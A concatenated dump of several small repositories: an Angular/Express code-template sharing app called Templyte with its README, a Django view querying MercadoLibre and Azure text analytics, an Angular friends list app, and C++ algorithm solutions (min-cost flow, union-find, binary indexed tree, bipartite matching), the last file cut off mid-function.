@NgModule({
declarations: [
AppComponent,
HomeComponent,
LoginComponent,
CreateTemplateComponent,
DownloadTemplateComponent,
InputValidateDialogComponent,
UploadSuccessDialogComponent,
DeleteConfirmDialogComponent,
RatingSuccessDialogComponent,
MyTemplatesComponent,
TutorialComponent,
],
imports: [
AngularFireModule.initializeApp(config),
BrowserAnimationsModule,
BrowserModule,
HttpClientModule,
MatButtonModule,
MatCardModule,
MatDialogModule,
MatDividerModule,
MatToolbarModule,
MatInputModule,
MatSelectModule,
RouterModule.forRoot(routes),
FormsModule,
MatChipsModule
],
entryComponents: [
InputValidateDialogComponent,
UploadSuccessDialogComponent,
DeleteConfirmDialogComponent,
RatingSuccessDialogComponent
],
providers: [
AngularFireAuth,
AngularFireDatabase,
AngularFireStorage,
ApiInterfaceService,
UploadService
],
bootstrap: [
AppComponent
]
})
export class AppModule {
}
<file_sep># Templyte
Templyte is a web application which is designed to help users create and share code templates to allow for fast bootstrapping of a variety of projects.
## Release Notes
### Features
* Users can create and upload templates that are populated with user defined variables at download time, allowing for highly customisable starter code for any project.
* Users can download templates which are intelligently rendered to use custom variables defined by the user.
* Templates are language agnostic, so users are not limited according to the technologies that their projects use.
* The application contains a tutorial page that guides users through creating templates.
* Secure login through GitHub is supported.
* The application allows users to rate templates as well as leave text reviews.
* The application supports searching the database for templates based on the title or user defined tags. Partial fuzzy matching is supported, so users do not need to provide an exact much for the search term. (in terms of capitalization or spacing) Search results can also be ordered according to rating, number of downloads, creation date and last downloaded date.
### Known Issues
Due to development time limitations, the search functionality of the application is not able to handle more complex search terms. Additionally, it is not as efficient as it could be, due to the need to do the search through Firebase. This triggers a warning in the user's browser console when doing a search, which states that the query is not as efficient as it could be. Though this should be fixed, it is not as huge of an issue as it may appear to be, since the database information has been flattened in order to speed up searches.
## Install Guide
Templyte is a web application with both a front end and a backend component, as well as a database component in order to allow for persistence.
### Prerequisites
As the dependencies are handled by [npm](https://www.npmjs.com/get-npm), Templyte can be deployed on any operating system that supports npm.
### Acquiring Source Code
The latest version of the application source code can be downloaded directly from [GitHub](https://github.com/debkbanerji/templyte)
### Dependency Management
The dependencies of the application are handled by [npm](https://www.npmjs.com/get-npm), the Node package manager which can be installed alongside [Node.js](https://nodejs.org/en/download). The application requires Node.js in order to run the server, which both serves the static frontend components to users and carries out any backend logic for the A.P.I. operations. Therefore, both npm and Node.js must be installed in order to develop or deploy the application. The frontend of the application is built using Angular, but any dependencies required for building the Angular components are handled through npm as well.
In order to install all the required dependencies, run `npm install` from the application's base directory.
### Database Setup
The persistence layer, as well as the login functionality of the application are handled through [Firebase](https://firebase.google.com/). In order to set up the database, one must first create a new Firebase project through the [Firebase console](https://firebase.google.com/). After the project has been created, one must connect it to the application by overriding the Firebase configuration object in `/static/templyte/src/app/config/firebase-config.ts` with the one provided by the console. The fields that must be replaced should be fairly self explanatory - if the configuration object provided by the console does not contain all the required fields, first set up GitHub login (described later) and enable the realtime database as well as the datastore functionality through the console. In order to enable GitHub login, follow the steps provided within the 'Authentication' tab of the Firebase console.
Once the database has been connected, it is extremely important to set up rules for both the realtime database and the datastore, to allow for securing as well as fficient indexing of data. These rules can be found in `database-rules.json` and `datastore-rules.txt` respectively and can simply be copied into the 'rules' section of their respective firebase console pages. It is extremely important to set both sets of rules up before deployment.
Note that currently, the configuration object in `/static/templyte/src/app/config/firebase-config.ts` refers to an example development database. When deploying the application, it is recommended that you replace this information with the connection information for the production database.
### Development Server
Once the dependencies have been installed, running the application in development mode requires the developer to run two commands in separate shells. The first is `npm run development-server` which starts up a development version of the A.P.I. that runs on port 3000. (this development server automatically restarts upon any file changes, to allow for faster development) The second command is `npm run development-gui` which starts the Angular application that makes up the front end. This runs on port 4200 and can be accessed by entering `localhost:4200` into the address bar of the developer's web browser. Note that this development version of the Angular application automatically refreshes the web page upon any code changes.
### Deployment to Production
After running `npm install`, running `npm start` will start a production version of the application on port 3000. Most modern web application hosting services, such as Heroku and Amazon Web Services will be able to automatically recognize the npm information defined in `package.json` and run both the `npm install` and `npm start` commands for you.
Note that once you deploy the application to production, you will need to register the domain name of the deployed version within the Firebase console as a trusted login source, or login will be blocked.
### Troubleshooting
While troubleshooting, first steps should always include clearing the `node_modules` folder and rerunning `npm install`. Most issues will raise errors on the frontend which can be debugged through use of the browser developer console, with the exception of A.P.I. calls (template rendering logic) for which error messages will show up in the server logs.
<file_sep>// Get dependencies
const express = require('express');
const path = require('path');
const http = require('http');
const bodyParser = require('body-parser');
// Get our API routes
const api = require(path.join(__dirname, 'api', 'api.js'));
const app = express();
app.use(bodyParser.json());
/**
* Get port from environment and store in Express.
*/
const port = process.env.PORT || '3000';
app.set('port', port);
let isDevMode = false;
process.argv.forEach(function (val) {
if (/DEVELOP/.test(val)) {
isDevMode = true;
}
});
if (isDevMode) {
console.log('RUNNING IN DEVELOPMENT MODE');
// Add headers
app.use(function (req, res, next) {
// Website you wish to allow to connect
res.setHeader('Access-Control-Allow-Origin', '*');
// Request methods you wish to allow
res.setHeader('Access-Control-Allow-Methods', 'GET');
// Request headers you wish to allow
res.setHeader('Access-Control-Allow-Headers', 'X-Requested-With,content-type');
// Pass to next layer of middleware
next();
});
}
const frontendFolder = path.join(__dirname, 'static', 'templyte', 'dist', 'templyte');
// Point static path to frontend folder
app.use(express.static(frontendFolder));
console.log("Serving static from " + frontendFolder);
// Set our api routes
app.use('/api', api);
console.log("Setting api routes");
// Catch all other routes and return the index file
app.get('*', (req, res) => {
res.sendFile(path.join(frontendFolder, 'index.html'));
});
console.log("Catching all other routes and returning the index file");
/**
* Create HTTP server.
*/
const server = http.createServer(app);
console.log("Created Server");
/**
* Listen on provided port, on all network interfaces.
*/
server.listen(port, () => {
if (isDevMode) {
console.log('\nPlease use \'npm run development-gui\' to start a development gui and navigate to localhost:4200');
console.log('Node that the api is still running on port ' + port.toString())
} else {
console.log(`\nServer running on port: ${port}`);
}
});
<file_sep>import {Injectable} from '@angular/core';
import {HttpClient} from '@angular/common/http';
import {environment} from '../../environments/environment';
@Injectable({
providedIn: 'root'
})
export class ApiInterfaceService {
private readonly API_ADDRESS: string;
constructor(
private http: HttpClient
) {
this.API_ADDRESS = environment.production
? '/api' :
'http://localhost:3000/api'; // Expect a development server to be running if running in prod mode
}
getZipFile(request: string, callback): void {
const targetAddress = this.API_ADDRESS + '/download-template';
const options = {responseType: 'blob' as 'blob'};
this.http.get(targetAddress + '?request=' + request, options)
.subscribe(downloadedData => {
callback(downloadedData);
}, (error => {
callback('Error connecting to API: ' + error.message);
}));
}
}
| c0e886bda8e137b1d028939cdb801fdc8036853e | [
"Markdown",
"TypeScript",
"JavaScript"
] | 17 | TypeScript | debkbanerji/templyte | 46b0c084ae9c40a2807aa2312e75738a88a9f117 | 83d34a7eb3b1a7fa5e12a68b0249bcfb38109573 | |
refs/heads/master | <repo_name>gzunigal/MeLiAzure<file_sep>/app/views.py
"""
Definition of views.
"""
import httplib, json
from django.shortcuts import render
from django.http import HttpRequest
from django.template import RequestContext
from datetime import datetime
from bs4 import BeautifulSoup
def home(request):
"""Renders the home page."""
assert isinstance(request, HttpRequest)
# get item
headers = {
# Request headers
'Content-Type': 'application/json',
'Ocp-Apim-Subscription-Key': '<KEY>',
}
body = {"documents": [{"id": "1", "text": "pantalla mala, 16Gb de memoria"}]}
conn = httplib.HTTPSConnection('api.mercadolibre.com')
conn.request("GET",
"/items/MLC443958984?access_token=APP_USR-3443485718526955-061017-d1f66ff2a267adde4dd51cf57dc7b817__A_K__-4452942",
body="{}", headers=headers)
response = conn.getresponse()
item = response.read()
conn.close()
# description
headers = {
# Request headers
'Content-Type': 'application/json',
'Ocp-Apim-Subscription-Key': '<KEY>',
}
body = {"documents": [{"id": "1", "text": "pantalla mala, 16Gb de memoria"}]}
conn = httplib.HTTPSConnection('api.mercadolibre.com')
conn.request("GET",
"/items/MLC443958984/description",
body="{}", headers=headers)
response = conn.getresponse()
desc = BeautifulSoup(json.loads(response.read().decode("utf-8"))["text"]).get_text()
conn.close()
print(desc)
print(type(desc))
# sentiment
headers = {
# Request headers
'Content-Type': 'application/json',
'Ocp-Apim-Subscription-Key': '<KEY>',
}
query = {"documents": [{"id": "1", "text": desc}]}
conn = httplib.HTTPSConnection('westus.api.cognitive.microsoft.com')
conn.request("POST", "/text/analytics/v2.0/keyPhrases", body=json.dumps(query), headers=headers)
response = conn.getresponse()
data = response.read()
print(data)
conn.close()
return render(
request,
'app/index.html',
context_instance = RequestContext(request,
{
'title':'Home Page',
'year':datetime.now().year,
'sentiment':data,
})
)
def contact(request):
"""Renders the contact page."""
assert isinstance(request, HttpRequest)
return render(
request,
'app/contact.html',
context_instance = RequestContext(request,
{
'title':'Contact',
'message':'Your contact page.',
'year':datetime.now().year,
})
)
def about(request):
"""Renders the about page."""
assert isinstance(request, HttpRequest)
return render(
request,
'app/about.html',
context_instance = RequestContext(request,
{
'title':'About',
'message':'Your application description page.',
'year':datetime.now().year,
})
)<file_sep>/requirements.txt
django<2
httplib
urllib
base64
urllib2
json
requests
beautifulsoup4<file_sep>/app/models.py
"""
Definition of models.
"""
from django.db import models
# Create your models here.
class Item:
price = 0
name = ""
pictureUrl = ""
description = ""
sellerId = ""
def setName(self,nombre):
self.name = nombre
def setPrice(self,precio):
self.price = precio
def setPictureUrl(self,url):
self.pictureUrl = url
def setDescription(self,desc):
self.description = desc
def setSellerId(self,vendedor):
self.sellerId = vendedor
def getName(self):
return self.name
def getPrice(self):
return self.price
def getPictureUrl(self):
return self.pictureUrl
def getDescription(self):
return self.description
def getSellerId(self):
return self.sellerId
| aa18c2be77a29ec800a2c8d1aa5b38d37523cd20 | [
"Python",
"Text"
] | 3 | Python | gzunigal/MeLiAzure | 91736cd47b38024125334fa59073ade6688b02ba | 1090351dbce90ba4b3d1e782e2b2b772d6df17c4 | |
refs/heads/master | <file_sep>class ReservationsController < ApplicationController
before_action :authenticate_user!
def index
@reservations = Reservation.where status: 'active'
end
def show
get_reservation
end
def new
@reservation = Reservation.new
end
def create
@reservation = Reservation.new reservation_params
if @reservation.save
redirect_to reservations_path
else
render 'new'
end
end
def edit
get_reservation
end
def update
get_reservation
if @reservation.update(reservation_params)
redirect_to @reservation
else
render 'edit'
end
end
def destroy
get_reservation
@reservation.status = 'deleted'
@reservation.save
redirect_to reservations_path
end
private
def get_reservation
@reservation = Reservation.find(params[:id])
end
def reservation_params
params.require(:reservation).permit(:scheduled_cruise_id, :name, :address_line_1, :phone, :email, :coupon_code, :additional_information, :passengers_adults, :passengers_seniors, :passengers_kids, :passengers_babies)
end
end
<file_sep>class ScheduledCruisesController < ApplicationController
before_action :authenticate_user!
def index
@scheduled_cruises = ScheduledCruise.all
end
def new
@scheduled_cruise = ScheduledCruise.new
end
def create
@scheduled_cruise = ScheduledCruise.new (scheduled_cruise_params)
if @scheduled_cruise.save
redirect_to scheduled_cruises_path
#render text: params.inspect
else
render 'new'
end
end
def show
@scheduled_cruise = ScheduledCruise.find(params[:id])
end
def edit
@scheduled_cruise = ScheduledCruise.find(params[:id])
end
def update
@scheduled_cruise = ScheduledCruise.find(params[:id])
if @scheduled_cruise.update(scheduled_cruise_params)
redirect_to @scheduled_cruise
else
render 'edit'
end
end
def destroy
@scheduled_cruise = ScheduledCruise.find(params[:id])
@scheduled_cruise.status = 'deleted'
@scheduled_cruise.save
redirect_to scheduled_cruises_path
end
private
def scheduled_cruise_params
result = params.require(:scheduled_cruise).permit(:cruise_type_id, :datetime)
result[:datetime] = Chronic.parse(result[:datetime])
result
end
end
<file_sep>class CruiseTypesController < ApplicationController
before_action :authenticate_user!
def index
@cruise_types = CruiseType.all
end
def new
@cruise_type = CruiseType.new
end
def create
@cruise_type = CruiseType.new (cruise_type_params)
if @cruise_type.save
redirect_to cruise_types_path
else
render 'new'
end
end
def show
@cruise_type = CruiseType.find(params[:id])
end
def edit
@cruise_type = CruiseType.find(params[:id])
end
def update
@cruise_type = CruiseType.find(params[:id])
if @cruise_type.update(cruise_type_params)
redirect_to cruise_types_path
else
render 'edit'
end
end
def destroy
@cruise_type = CruiseType.find(params[:id])
@cruise_type.status = 'deleted'
@cruise_type.save
redirect_to cruise_types_path
end
private
def cruise_type_params
params.require(:cruise_type).permit(:name, :capacity)
end
end
<file_sep>class CruiseType < ActiveRecord::Base
has_many :scheduled_cruises
validates :name, length: { minimum: 5 }
validate :validate_capacity
# default_scope { where status: 'active' }
private
def validate_capacity
if not (capacity and capacity > 0)
errors.add(:capacity, "should be at least 1")
end
end
end
<file_sep>class ScheduledCruise < ActiveRecord::Base
belongs_to :cruise_type
has_many :reservations, -> { where status: 'active' }
validates :cruise_type, presence: true
validates :datetime, presence: true
# default_scope { where status: 'active' }
default_scope { order 'datetime ASC' }
def datetime_pretty
self.datetime.strftime '%A, %b %d at %l:%M %p'
end
def description_pretty
# self.cruise_type.name + ': ' + datetime_pretty
datetime_pretty + '—' + self.cruise_type.name
end
def booked_seats
seats = 0
reservations.each do |r|
seats = seats + r.passengers_total
end
seats
end
def available_seats
self.cruise_type.capacity - booked_seats
end
#TODO add time zone support
#TODO only show cruises with enough seats - do this in controller
def self.available(seats = 1)
cruises = ScheduledCruise.where("datetime >= ?", Time.now)
cruises.select do |c|
c.available_seats >= seats
end
end
end
<file_sep>class AddStatusAttribute < ActiveRecord::Migration
def change
change_table :reservations do |t|
t.string :status
end
change_table :cruise_types do |t|
t.string :status
end
change_table :scheduled_cruises do |t|
t.string :status
end
end
end
<file_sep>class ReserveController < ApplicationController
include Wicked::Wizard
steps :passengers, :cruise, :customer, :confirmation
def reset
new_reservation
redirect_to wizard_path steps.first
end
def show
find_or_create_reservation
render_wizard
end
def update
find_or_create_reservation
@reservation.status = if step == :customer
'active'
else
step.to_s
end
@reservation.update reservation_params
render_wizard @reservation, reservation_id: @reservation.id
end
private
def find_or_create_reservation
if session[:reservation_id]
@reservation = Reservation.find session[:reservation_id]
else
new_reservation
end
@wicked_step = step
@params = params
end
def new_reservation
@reservation = Reservation.create # status: 'new'
session[:reservation_id] = @reservation.id
end
def reservation_params
params.fetch(:reservation, {}).permit(:scheduled_cruise_id, :name, :address_line_1, :phone, :email, :coupon_code, :additional_information, :passengers_adults, :passengers_seniors, :passengers_kids, :passengers_babies)
end
end<file_sep>module ApplicationHelper
def pretty_count(count, none_label = 'none')
if count.respond_to? :count
count = count.count
end
if (not count) or count == 0
none_label
else
count
end
end
def relative_datetime(datetime)
pretty_datetime(datetime)
end
def pretty_datetime(datetime)
pretty_date(datetime) + ' at ' + pretty_time(datetime)
end
def pretty_date(date)
date.strftime '%A, %b %d'
end
# FIXME The single-digit hour has a space in front of it. Remove that.
def pretty_time(time)
time.strftime '%l:%M %p'
end
def a_or_an(params_word, uppercase = false)
if uppercase
a = "A"
an = "An"
else
a = "a"
an = "an"
end
%w(a e i o u).include?(params_word[0].downcase) ? "#{an} #{params_word}" : "#{a} #{params_word}"
end
def collection_radio_group(object, method, collection, value_method, text_method, options = {}, html_options = {})
Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
end
end
<file_sep>class Reservation < ActiveRecord::Base
include ActionView::Helpers::TextHelper
belongs_to :scheduled_cruise
validate :validate_passenger_count, if: :active_or_passengers?
validates :scheduled_cruise, presence: { message: 'Please choose a cruise.' }, if: :active_or_cruise?
with_options if: :active_or_customer? do |s|
s.validates :name, length: { minimum: 5, message: 'Please type your full name.' }
s.validates :address_line_1, presence: { message: 'Please type your address.' }
s.validates :phone, presence: { message: 'Please type your phone number.' }
s.validates :email, presence: { message: 'Please type your email address.' }
end
# default_scope { where status: 'active' }
def confirmation_number
id
end
def passengers_total
passengers_adults +
passengers_seniors +
passengers_kids +
passengers_babies
end
private
def active?
status == 'active'
end
def active_or_passengers?
active? or status == 'passengers'
end
def active_or_cruise?
active? or status == 'cruise'
end
def active_or_customer?
active? or status == 'customer'
end
def validate_passenger_count
if passengers_total == 0
errors.add(:passengers_adults, "You must have at least one passenger.")
elsif scheduled_cruise
available = scheduled_cruise.available_seats
if passengers_total > scheduled_cruise.available_seats
word = if available == 1
'is one seat'
elsif available > 1
"are #{available} seats"
else
"are no seats"
end
errors.add(:passengers_adults, "There #{word} remaining on this cruise—please choose a different cruise or reduce the number of passengers.")
end
end
end
end
| ee9e38ef6e8c87941eda772a2fe8b0448660922b | [
"Ruby"
] | 9 | Ruby | coteeadventure/CoteeSchedule | c653980fc5442b723875c9f3e05cf966ea0188b2 | 9e113b16d93962b9d6a0281e8c869f58dc071ec5 | |
refs/heads/master | <file_sep>friends_app.factory('FriendFactory', function($http) {
var factory = {};
var friends = [];
factory.getFriends = function(callback) {
$http.get('/friends').success(function(output){
friends = output;
callback(friends);
});
};
// note the use of callbacks!
factory.addFriend = function(info, callback) {
$http.post('/addFriend', info).success(function(output){
friends.push({name: info.name, age: info.age});
});
// friends.push({name: info.name, age: info.age});
/* callback(friends);*/
};
factory.removeFriend = function(info, callback){
$http.post('/removeFriend', info).success(function(info){
})
}
return factory; //ALWAYS RETURN FACTORY
});<file_sep>var friends_app = angular.module('friends_app', []);
friends_app.controller('FriendsController', function($scope, FriendFactory) {
FriendFactory.getFriends(function(data){
$scope.friends = data;
});
$scope.addfriend = function() {
FriendFactory.addFriend($scope.new_friend, function(){
$scope.friends = FriendFactory.getFriends();
$scope.new_friend = {};
});
};
$scope.removeFriend = function(friend){
FriendFactory.removeFriend(friend);
FriendFactory.getFriends(function (data){
$scope.friends = data;
})
}
}); | 1745fbddc5f41058a3fc4eb409439b7343fa65f1 | [
"JavaScript"
] | 2 | JavaScript | teckw/Friends_MEAN | fb2a66cb151a2874fd9d024066379a0c6430a3fd | ffa4dd8420ef73c68e0252184b7228f2f56cdf4a | |
refs/heads/master | <repo_name>Pougliche/doctolibkiller<file_sep>/db/seeds.rb
require 'faker'
require 'colorize'
20.times do |index|
city = City.create!(city_name: Faker::Address.city)
specialty = Specialty.create!(specialty_name: Faker::DcComics.hero)
end
100.times do |index|
med = Doctor.create!(first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, city: City.all.sample)
patient = Patient.create!(first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, city: City.all.sample)
3.times do
specialty = SpecialRef.create(doctor: med, specialty: Specialty.all.sample)
end
appointment = Appointment.create(doctor: med, patient: Patient.all.sample, city: med.city, specialty: SpecialRef.where(doctor: med).sample.specialty, date_time: Faker::Time.forward(days: 30))
end
puts "20 CITIES AND MEDICAL SPECIALTIES HAVE BEEN CREATED. 100 DOCTORS, PATIENTS AND APPOINTMENTS HAVE BEEN CREATED. WHERE IS YOUR GOD NOW?".green<file_sep>/README.md
Doctolibkiller Database 8.6 ; by <NAME>. & <NAME>.
Ruby 2.5.1 is needed to run this database
Don't forget to #bundle install before running tests !
This program will allow you to check through Doctolibkiller's database, here's a little guide to check through it :
- $rails db:migrate to put all migrations up
- $rails db:seed to create some data
- $rails console to ignite
- put $tp in front of your search to get the result in a nice table ! Using the gem "table print".
- The database contains doctors, patients, appointments, medical specialties and cities. Each class goes as follows :
Doctor, Patient, Appointment, Specialty, City
Exemple of search : $tp Doctor.all > will show you the list of doctors in a nice table
Have fun with it ! | e5afb51516178a501c72b9fab7160f174b77e26b | [
"Markdown",
"Ruby"
] | 2 | Ruby | Pougliche/doctolibkiller | d94965ad1aa554131abf1d379745d7013c530c73 | 439a145193b8e46b096de0547ce796e4470e4a29 | |
refs/heads/master | <file_sep>#include<iostream.h>
void main()
{
int a=0,b=1,sum=0,n;
cout<<"enter the value of n";
cin>>n;
cout<<a;
cout<<b;
for(int i=3;i<=n;i++)
{
sum+=(a+b);
a=b;
b=sum;
cout<<sum;
}
}
<file_sep># first-repository
Fibonacci Series
This is c++ program to find the nth term of a fibonnacci series.
| 56745bed852d51d3e39fcc4d7d827aa18bac09ca | [
"Markdown",
"C"
] | 2 | C | sumitdas9234/first-repository | db0c2c6b8fee5a977190b5b9b24716b2c4bb3743 | e16ffe8cf358a9817d4d266fef80ce1a32cff27c | |
refs/heads/master | <repo_name>sagarwasule/cs_puzzle<file_sep>/CS.Puzzle/CS.Puzzle/Program.cs
using System;
namespace CS.Puzzle
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("There are {0} sundays on the first of a month", calculateNumberOfSundays());
Console.ReadLine();
}
private static int calculateNumberOfSundays()
{
int sundays = 0;
for (int year = 1901; year <= 2000; year++)
{
for (int month = 1; month <= 12; month++)
{
if ((new DateTime(year, month, 1)).DayOfWeek == DayOfWeek.Sunday)
{
sundays++;
}
}
}
return sundays;
}
}
}
| 33dd8f5cbc331b3343d1910d9095802dcf5a5d58 | [
"C#"
] | 1 | C# | sagarwasule/cs_puzzle | bd430e539f0b7ab3df49ae3f34228dfb8625b1e1 | 1d34f9200be0d60c7835a69d106b684bc9555031 | |
refs/heads/master | <repo_name>khonthai/Algorithms<file_sep>/evacuation_plan.cpp
#include<stdio.h>
#include<vector>
#include<math.h>
using namespace std;
#define MAX_N 100
#define MAX_M 100
#define MAX_V 202
#define INF 1e9
#define MAX_E 10200
struct edge{
int to, cap, cost, rev;
};
vector<edge> G[MAX_V];
int dist[MAX_V];
int prevv[MAX_V];
int preve[MAX_E];
int v;
int X[MAX_N], Y[MAX_N], B[MAX_N];
int P[MAX_M], Q[MAX_M], C[MAX_M];
int E[MAX_N][MAX_M];
void add_edge(int from, int to, int cap, int cost){
G[from].push_back((edge) {to, cap, cost, G[to].size()});
G[to].push_back((edge){from, 0, -cost, G[from].size()-1});
}
int min_cost_flow(int s, int t, int f){
int res = 0;
while (f > 0) {
bool update = true;
fill(dist, dist+v, INF);
dist[s] = 0;
while (update == true) {
update = false;
for (int i = 0 ; i < v; i++) {
for (int j = 0; j < G[i].size(); j++) {
edge &ed = G[i][j];
if (ed.cap > 0 && dist[i]+ed.cost < dist[ed.to]) {
dist[ed.to] = dist[i]+ed.cost;
prevv[ed.to] = i;
preve[ed.to] = j;
update = true;
}
}
}
}
if (dist[t] == INF) {
return -1;
}
int d = f;
for (int i = t; i != s; i = prevv[i]) {
d = min(d, G[prevv[i]][preve[i]].cap);
}
f -= d;
res += d*dist[t];
for (int i = t; i != s; i = prevv[i]) {
edge &ed = G[prevv[i]][preve[i]];
ed.cap -= d;
G[i][ed.rev].cap += d;
}
}
return res;
}
int main(){
int n, m;
scanf("%d %d", &n, &m);
v = n+m+2;
int f = 0;
for (int i = 0; i < n; i++) {
scanf("%d %d %d", &X[i], &Y[i], &B[i]);
add_edge(0, i+1, B[i], 0);
f += B[i];
}
for (int i = 0; i < m; i++) {
scanf("%d %d %d", &P[i], &Q[i], &C[i]);
add_edge(n+1+i, n+m+1, C[i], 0);
}
int sum = 0;
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
int c = sqrt((P[j]-X[i])*(P[j]-X[i])+(Q[j]-Y[i])*(Q[j]-Y[i]));
add_edge(i+1, n+1+j,INF, c);
scanf("%d", &E[i][j]);
sum += E[i][j]*c;
}
}
int lowest = min_cost_flow(0, n+m+1, f);
if (sum == f) {
printf("OPTIMAL\n");
}else{
printf("SUBOPTIMAL\n");
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
printf("%d%c", G[n+1+j][i+1].cap, j+1 == m? '\n' : ' ');
}
}
}
return 0;
}<file_sep>/farm_tour.cpp
#include<stdio.h>
#include<vector>
using namespace std;
#define INF 1e9
#define MAX_V 1000
#define MAX_E 10000
struct edge{
int to, cap, cost, rev;
};
vector<edge> G[MAX_V];
int dist[MAX_V];
int prevv[MAX_V];
int preve[MAX_E];
int v, e;
void add_edge(int from, int to, int cap, int cost){
G[from].push_back((edge) {to, cap, cost, G[to].size()});
G[to].push_back((edge){from, 0, -cost, G[from].size()-1});
}
int min_cost_flow(int s, int t, int f){
int res = 0;
while (f > 0) {
bool update = true;
fill(dist, dist+v, INF);
dist[s] = 0;
while (update == true) {
update = false;
for (int i = 0 ; i < v; i++) {
for (int j = 0; j < G[i].size(); j++) {
edge &ed = G[i][j];
if (ed.cap > 0 && dist[i]+ed.cost < dist[ed.to]) {
dist[ed.to] = dist[i]+ed.cost;
prevv[ed.to] = i;
preve[ed.to] = j;
update = true;
}
}
}
}
if (dist[t] == INF) {
return -1;
}
int d = f;
for (int i = t; i != s; i = prevv[i]) {
d = min(d, G[prevv[i]][preve[i]].cap);
}
f -= d;
res += d*dist[t];
for (int i = t; i != s; i = prevv[i]) {
edge &ed = G[prevv[i]][preve[i]];
ed.cap -= d;
G[i][ed.rev].cap += d;
}
}
return res;
}
int main(){
scanf("%d %d", &v, &e);
int a, b, c;
for (int i = 0; i < e; i++) {
scanf("%d %d %d", &a, &b, &c);
add_edge(a-1, b-1, 1, c);
}
printf("%d\n", min_cost_flow(0, v-1, 2));
return 0;
}
<file_sep>/food_chain.cpp
#include<iostream>
#include<vector>
using namespace std;
#define MAX_K 100000
vector<int> p, rank2, number;
void makeSet(int i){
p[i] = i;
rank2[i] = 0;
number[i] = 1;
}
int find(int i){
if (i != p[i]) {
p[i] = find(p[i]);
}
return p[i];
}
void link(int x, int y){
if (x != y) {
if (rank2[x] < rank2[y]) {
p[x] = y;
number[y] += number[x];
}else{
p[y] = x;
number[x] += number[y];
if (rank2[x] == rank2[y]) {
rank2[x]++;
}
}
}
}
void unionn(int x, int y){
link(find(x), find(y));
}
bool same(int x, int y){
return find(x) == find(y);
}
void init(int size){
rank2.resize(size, 0);
p.resize(size, 0);
number.resize(size, 0);
for (int i = 0; i < size; i++) {
makeSet(i);
}
}
int t[MAX_K], a[MAX_K], b[MAX_K];
int main(){
int N,K;
cin >> N >> K;
for (int i = 0; i < K; i++) {
cin >> t[i] >> a[i] >> b[i];
}
init(3*N);
int ans = 0;
for (int i = 0; i < K; i++) {
int x = a[i] -1;
int y = b[i] -1;
if (x >=N || y >= N) {
ans++;
}else{
if (t[i] == 1) {
if (same(x, y+N) || same(x, y+2*N)) {
ans++;
}else{
unionn(x,y);
unionn(x+N, y+N);
unionn(x+2*N, y+2*N);
}
}else{
if (same(x, y) || same(x, y+2*N)) {
ans++;
}else{
unionn(x, y+N);
unionn(x+N, y+2*N);
unionn(x+2*N, y);
}
}
}
}
cout << ans << endl;
return 0;
}
<file_sep>/bit.cpp
#include<iostream>
#define MAX_N 10000
using namespace std;
int a[MAX_N];
int bit[MAX_N];
int n;
void init(){
for (int i = 0; i < n+1; i++) {
bit[i] = 0;
}
}
int sum(int i){
int s = 0;
while (i > 0) {
s += bit[i];
i -= i & -i;
}
return s;
}
void add(int i, int x){
while (i <= n) {
bit[i] += x;
i += i & -i;
}
}
int main(){
int ans = 0;
cin >> n;
for (int i = 0; i < n; i++) {
cin >> a[i];
}
init();
for (int j = 0; j < n; j++) {
cout << " j = " << j << endl;
for (int k = 1; k <=n; k++) {
cout << bit[k] << " " ;
}
cout << "sum (a[i])" << sum(a[j]) << endl;
ans += j-sum(a[j]);
add(a[j], 1);
cout << ans << endl;
}
cout << ans << endl;
return 0;
}
<file_sep>/same_evacuation.cpp
#include<stdio.h>
#include<iostream>
#include<vector>
#include<queue>
#include<string.h>
using namespace std;
#define MAX_Y 12
#define MAX_X 12
#define MAX_V 1000
char field[MAX_X][MAX_Y+1];
vector<int> dX, dY;
vector<int> pX, pY;
int dist[MAX_X][MAX_Y][MAX_X][MAX_Y];
int dx[4] = {-1, 1, 0, 0};
int dy[4] = {0, 0, -1, 1};
int X, Y;
int V;
vector<int> G[MAX_V];
int match[MAX_V];
bool used[MAX_V];
void add_edge(int i, int u){
G[i].push_back(u);
G[u].push_back(i);
}
bool dfs(int i){
used[i] = true;
for (int j = 0; j < G[i].size(); j++) {
int u = G[i][j], w = match[u];
if (w < 0 || (!used[w] && dfs(w))) {
match[i] = u;
match[u] = i;
return true;
}
}
return false;
}
int bipartite_matching(){
int res = 0;
memset(match, -1, sizeof(match));
for (int i = 0; i < V; i++) {
if (match[i] < 0) {
memset(used, 0, sizeof(used));
if (dfs(i)) {
res++;
}
}
}
return res;
}
bool C(int t){
int d = dX.size(), p = pX.size();
V = t*d+p;
for (int i = 0; i < V; i++) {
G[i].clear();
}
for (int i = 0; i < d; i++) {
for (int j = 0; j < p; j++) {
if (dist[dX[i]][dY[i]][pX[j]][pY[j]] >= 0) {
for (int k = dist[dX[i]][dY[i]][pX[j]][pY[j]]; k <= t; k++) {
add_edge((k-1)*d+i, t*d+j);
cout << "left " << (k-1)*d+i << " right " << t*d+j << endl;
}
}
}
}
cout << "-------" << endl;
return bipartite_matching() == p;
}
void bfs(int x, int y, int d[MAX_X][MAX_Y]){
queue<int> qx, qy;
d[x][y] = 0;
qx.push(x);
qy.push(y);
int depth = 0;
int next = 0;
while(!qx.empty()){
int nx = qx.front();
qx.pop();
int ny = qy.front();
qy.pop();
for(int i = 0; i < 4; i++){
int nextx = nx+dx[i], nexty = ny+dy[i];
if (nextx >= 0 && nextx < X && nexty >= 0 && nexty < Y && field[nextx][nexty] == '.' && d[nextx][nexty] < 0){
d[nextx][nexty] = d[nx][ny]+1;
qx.push(nextx);
qy.push(nexty);
}
}
}
}
void solve(){
int n = X*Y;
dX.clear();
dY.clear();
pX.clear();
pY.clear();
memset(dist, -1, sizeof(dist));
for (int x = 0; x < X; x++) {
for (int y = 0; y < Y; y++) {
if (field[x][y] == 'D') {
dX.push_back(x);
dY.push_back(y);
bfs(x, y, dist[x][y]);
}else if(field[x][y] == '.'){
pX.push_back(x);
pY.push_back(y);
}
}
}
int lb = -1, ub = n+1;
while (ub-lb > 1) {
int mid = (lb+ub)/2;
cout << "----------"<<endl;
cout << "mid " << mid << endl;
if(C(mid))ub = mid;
else lb = mid;
}
if(ub > n){
cout << "impossible" << endl;
}else{
cout << ub << endl;
}
}
int main(){
int t;
scanf("%d", &t);
